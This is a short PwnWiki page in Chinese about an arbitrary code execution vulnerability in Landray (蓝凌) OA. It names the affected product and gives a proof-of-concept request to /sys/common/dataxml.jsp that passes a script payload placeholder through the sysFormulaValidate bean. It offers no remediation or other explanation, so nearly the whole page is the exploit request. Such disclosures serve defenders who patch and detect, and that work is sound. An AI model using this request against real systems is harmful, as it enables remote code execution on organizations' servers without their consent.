蓝凌OA 任意代码执行漏洞

From PwnWiki
Revision as of 09:48, 8 June 2021 by Pwnwiki (talk | contribs) (Created page with "蓝凌OA")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎中文(中国大陆)‎ • ‎中文(繁體)‎

影响版本

蓝凌OA

POC

/sys/common/dataxml.jsp?s_bean=sysFormulaValidate&script=<payload>&type=int&modelName=test